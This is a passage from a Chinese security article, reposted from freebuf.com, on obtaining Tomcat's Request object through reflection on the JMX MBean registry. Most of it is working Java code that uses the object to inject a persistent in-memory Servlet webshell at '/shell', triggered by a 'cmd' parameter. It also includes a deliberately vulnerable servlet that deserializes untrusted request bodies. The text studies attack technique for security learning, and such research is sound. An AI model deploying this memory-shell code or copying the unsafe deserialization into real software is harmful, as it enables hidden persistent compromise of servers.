StandardContext
对象,这里李三师傅在前文的基础中发现了在AbstractProtocol$ConnectionHandler#register
的调用中不仅像之前的思路一样将获取到的RequestInfo
对象存放在了global
属性中。Registry.getRegistry((Object)null, (Object)null).registerComponent
方法将RequestInfo
对象进行组件的注册流程中。registerComponent
方法的调用。ManagedBean
对象,调用其createMBean
方法创建了一个MBean对象,最后调用了registerMBean
进行该MBean的注册,跟进一下。mbsInterceptor
属性的registerMBean
方法进行注册,这里的mbsInterceptor
属性即是DefaultMBeanServerInterceptor
对象,跟进一下。registerObject
方法进行注册。Introspector#makeDynamicMBean
方法创建了一个动态的MBean,之后调用了registerDynamicMBean
方法进行动态MBean的注册。registerWithRepository
进行进一步的注册。repository
属性的addMBean
方法进行MBean
的添加。addNewDomMoi
方法将这个Bean进行了添加。Catelina
也就是和tomcat相关的组件信息,值得注意的是,如果使用springboot内置的tomcat启动服务,这里不再是Catalina
而应该是Tomcat
这个key值。这里的value值就是我们在上面最后一步put进入的一个map对象。request / response
对象的,可以关注到下面这个key值。protocol-nio-port
,这里我的环境是tomcat 8, 如果是tomcat 7环境这里的nio应该为bio才对。在其value字段中的NamedObject
对象中。RequestInfo
对象。所以总结一下我们获取request的流程大致为。Catalina
的value值。基于上面的思路,我们可以通过以下代码获取回显,
// 获取JmxMBeanServer对象
MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();
// 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象
Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
// 获取DefaultMBeanServerInterceptor中的repository属性
Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
// 反射获取Repository对象的domainTb这个Map对象
HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
// 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor
// 使用Tomcat启动服务
Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
// 使用Springboot启动服务
// Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");
// 从获取的NamedObject对象中反射获取他的object属性
Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
// object属性是一个BaseModelMBean对象,反射获取他的resource属性值
Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
// resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值
ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
// 遍历前面得到的ArrayList列表,获取想要的请求
for (Object processor : processors) {
// 强转为RequestInfo类型
RequestInfo requestInfo = (RequestInfo) processor;
// 反射获取对应的req属性
org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
(向右滑动、查看更多)
request
对象之后,我们理应筛选一下本次请求的Request是哪一个进而保证能够执行后续操作,完整代码为:try {
// 获取JmxMBeanServer对象
MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();
// 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象
Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
// 获取DefaultMBeanServerInterceptor中的repository属性
Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
// 反射获取Repository对象的domainTb这个Map对象
HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
// 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor
// 使用Tomcat启动服务
Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
// 使用Springboot启动服务
// Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");
// 从获取的NamedObject对象中反射获取他的object属性
Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
// object属性是一个BaseModelMBean对象,反射获取他的resource属性值
Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
// resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值
ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
// 遍历前面得到的ArrayList列表,获取想要的请求
for (Object processor : processors) {
// 强转为RequestInfo类型
RequestInfo requestInfo = (RequestInfo) processor;
// 反射获取对应的req属性
org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
// 筛选请求
if (req.getParameters().getParameter("cmd") != null) {
// 将req对象转为org.apache.catalina.connector.Request对象进行内存马的注入
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
// 获取对应的ServletContext上下文环境
ServletContext servletContext = request.getServletContext();
// 注入Servlet内存马的步骤
String name = "RoboTerh";
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object obj = f.get(servletContext);
if (obj instanceof ServletContext) {
servletContext = (ServletContext) obj;
} else if (obj instanceof StandardContext) {
o = (StandardContext) obj;
}
}
//自定义servlet
Servlet servlet = new TomcatMemshell3();
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
(向右滑动、查看更多)
package com.roboterh.web;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.ObjectInputStream;
@WebServlet("/unser")
public class ServletTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
java.io.InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
文章来源:freebuf.com
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干